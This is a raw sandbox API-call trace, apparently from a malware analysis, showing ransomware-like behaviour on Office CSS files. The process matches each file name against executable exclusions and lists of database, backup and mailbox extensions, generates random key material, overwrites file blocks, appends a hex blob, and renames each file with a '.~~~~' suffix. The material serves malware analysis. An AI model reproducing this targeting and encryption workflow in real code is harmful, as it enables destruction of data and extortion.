	[0139.754] WriteFile (in: hFile=0x114, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0139.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.756] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.756] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.756] CloseHandle (hObject=0x114) returned 1
	[0139.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399e48
	[0139.756] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css.~~~~")) returned 1
	[0139.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399e48 | out: hHeap=0x300000) returned 1
	[0139.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0139.759] GetLastError () returned 0x0
	[0139.759] RtlWakeConditionVariable () returned 0x0
	[0139.759] GetCurrentThreadId () returned 0xaf0
	[0139.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".scr") returned 0x0
	[0139.760] lstrlenW (lpString=".cmd") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".cmd") returned 0x0
	[0139.760] lstrlenW (lpString=".dll") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dll") returned 0x0
	[0139.760] lstrlenW (lpString=".bat") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".bat") returned 0x0
	[0139.760] lstrlenW (lpString=".cpl") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".cpl") returned 0x0
	[0139.760] lstrlenW (lpString=".sys") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".sys") returned 0x0
	[0139.760] lstrlenW (lpString=".msc") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".msc") returned 0x0
	[0139.760] lstrlenW (lpString=".com") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".com") returned 0x0
	[0139.760] lstrlenW (lpString=".lnk") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".lnk") returned 0x0
	[0139.760] lstrlenW (lpString=".msp") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".msp") returned 0x0
	[0139.760] lstrlenW (lpString=".pif") returned 4
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".pif") returned 0x0
	[0139.760] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0139.762] lstrlenW (lpString=".sqb") returned 4
	[0139.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".sqb") returned 0x0
	[0139.762] lstrlenW (lpString=".ost") returned 4
	[0139.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".ost") returned 0x0
	[0139.762] lstrlenW (lpString=".txt") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".txt") returned 0x0
	[0139.763] lstrlenW (lpString=".mdt") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".mdt") returned 0x0
	[0139.763] lstrlenW (lpString=".BDB") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".BDB") returned 0x0
	[0139.763] lstrlenW (lpString=".eql") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".eql") returned 0x0
	[0139.763] lstrlenW (lpString=".DBF") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DBF") returned 0x0
	[0139.763] lstrlenW (lpString=".EQL") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".EQL") returned 0x0
	[0139.763] lstrlenW (lpString=".FDB") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".FDB") returned 0x0
	[0139.763] lstrlenW (lpString=".EDB") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".EDB") returned 0x0
	[0139.763] lstrlenW (lpString=".DACPAC") returned 7
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.763] lstrlenW (lpString=".VHD") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".VHD") returned 0x0
	[0139.763] lstrlenW (lpString=".DBV") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DBV") returned 0x0
	[0139.763] lstrlenW (lpString=".dacpac") returned 7
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dacpac") returned 0x0
	[0139.763] lstrlenW (lpString=".sdf") returned 4
	[0139.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".sdf") returned 0x0
	[0139.763] lstrlenW (lpString=".accdb") returned 6
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".accdb") returned 0x0
	[0139.764] lstrlenW (lpString=".DBX") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DBX") returned 0x0
	[0139.764] lstrlenW (lpString=".MDT") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".MDT") returned 0x0
	[0139.764] lstrlenW (lpString=".SQB") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".SQB") returned 0x0
	[0139.764] lstrlenW (lpString=".vhd") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".vhd") returned 0x0
	[0139.764] lstrlenW (lpString=".bac") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".bac") returned 0x0
	[0139.764] lstrlenW (lpString=".mdf") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".mdf") returned 0x0
	[0139.764] lstrlenW (lpString=".BAK") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".BAK") returned 0x0
	[0139.764] lstrlenW (lpString=".BAC") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".BAC") returned 0x0
	[0139.764] lstrlenW (lpString=".dbs") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dbs") returned 0x0
	[0139.764] lstrlenW (lpString=".vhdx") returned 5
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".vhdx") returned 0x0
	[0139.764] lstrlenW (lpString=".NDF") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".NDF") returned 0x0
	[0139.764] lstrlenW (lpString=".dat") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dat") returned 0x0
	[0139.764] lstrlenW (lpString=".DBS") returned 4
	[0139.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DBS") returned 0x0
	[0139.764] lstrlenW (lpString=".CKP") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".CKP") returned 0x0
	[0139.765] lstrlenW (lpString=".edb") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".edb") returned 0x0
	[0139.765] lstrlenW (lpString=".PST") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".PST") returned 0x0
	[0139.765] lstrlenW (lpString=".dbf") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dbf") returned 0x0
	[0139.765] lstrlenW (lpString=".SQL") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".SQL") returned 0x0
	[0139.765] lstrlenW (lpString=".pst") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".pst") returned 0x0
	[0139.765] lstrlenW (lpString=".dbv") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dbv") returned 0x0
	[0139.765] lstrlenW (lpString=".SDF") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".SDF") returned 0x0
	[0139.765] lstrlenW (lpString=".dtxs") returned 5
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dtxs") returned 0x0
	[0139.765] lstrlenW (lpString=".db3") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".db3") returned 0x0
	[0139.765] lstrlenW (lpString=".OST") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".OST") returned 0x0
	[0139.765] lstrlenW (lpString=".dbx") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dbx") returned 0x0
	[0139.765] lstrlenW (lpString=".DB3") returned 4
	[0139.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DB3") returned 0x0
	[0139.766] lstrlenW (lpString=".DAT") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DAT") returned 0x0
	[0139.766] lstrlenW (lpString=".VHDX") returned 5
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".VHDX") returned 0x0
	[0139.766] lstrlenW (lpString=".ndf") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".ndf") returned 0x0
	[0139.766] lstrlenW (lpString=".DB") returned 3
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DB") returned 0x0
	[0139.766] lstrlenW (lpString=".sql") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".sql") returned 0x0
	[0139.766] lstrlenW (lpString=".MYD") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".MYD") returned 0x0
	[0139.766] lstrlenW (lpString=".DBT") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DBT") returned 0x0
	[0139.766] lstrlenW (lpString=".ACCDB") returned 6
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.766] lstrlenW (lpString=".fdb") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".fdb") returned 0x0
	[0139.766] lstrlenW (lpString=".bak") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".bak") returned 0x0
	[0139.766] lstrlenW (lpString=".myd") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".myd") returned 0x0
	[0139.766] lstrlenW (lpString=".DTXS") returned 5
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".DTXS") returned 0x0
	[0139.766] lstrlenW (lpString=".ckp") returned 4
	[0139.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".ckp") returned 0x0
	[0139.767] lstrlenW (lpString=".dbt") returned 4
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".dbt") returned 0x0
	[0139.767] lstrlenW (lpString=".db") returned 3
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".db") returned 0x0
	[0139.767] lstrlenW (lpString=".TXT") returned 4
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".TXT") returned 0x0
	[0139.767] lstrlenW (lpString=".MDF") returned 4
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".MDF") returned 0x0
	[0139.767] lstrlenW (lpString=".bdb") returned 4
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".bdb") returned 0x0
	[0139.767] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0139.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.767] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0139.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.768] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0139.769] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25975889745) returned 1
	[0139.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbcba5c50, dwHighDateTime=0x1d60e1e)) 
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d8f0
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d8f0 | out: hHeap=0x300000) returned 1
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399668
	[0139.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399668 | out: hHeap=0x300000) returned 1
	[0139.770] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0139.770] GetLastError () returned 0x0
	[0139.770] GetLastError () returned 0x0
	[0139.770] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0139.770] GetLastError () returned 0x0
	[0139.771] GetLastError () returned 0x0
	[0139.771] ReadFile (in: hFile=0x114, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.872] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.873] WriteFile (in: hFile=0x114, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0139.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.874] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.874] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.874] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.874] CloseHandle (hObject=0x114) returned 1
	[0139.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3995c0
	[0139.875] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css.~~~~")) returned 1
	[0139.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3995c0 | out: hHeap=0x300000) returned 1
	[0139.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0139.965] GetLastError () returned 0x0
	[0139.966] RtlWakeConditionVariable () returned 0x0
	[0139.966] GetCurrentThreadId () returned 0xaf0
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".scr") returned 0x0
	[0139.966] lstrlenW (lpString=".cmd") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".cmd") returned 0x0
	[0139.966] lstrlenW (lpString=".dll") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".dll") returned 0x0
	[0139.966] lstrlenW (lpString=".bat") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".bat") returned 0x0
	[0139.966] lstrlenW (lpString=".cpl") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".cpl") returned 0x0
	[0139.966] lstrlenW (lpString=".sys") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".sys") returned 0x0
	[0139.966] lstrlenW (lpString=".msc") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".msc") returned 0x0
	[0139.966] lstrlenW (lpString=".com") returned 4
	[0139.966] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", lpSrch=".com") returned 0x0
	[0139.966] lstrlenW (lpString=".lnk") returned 4
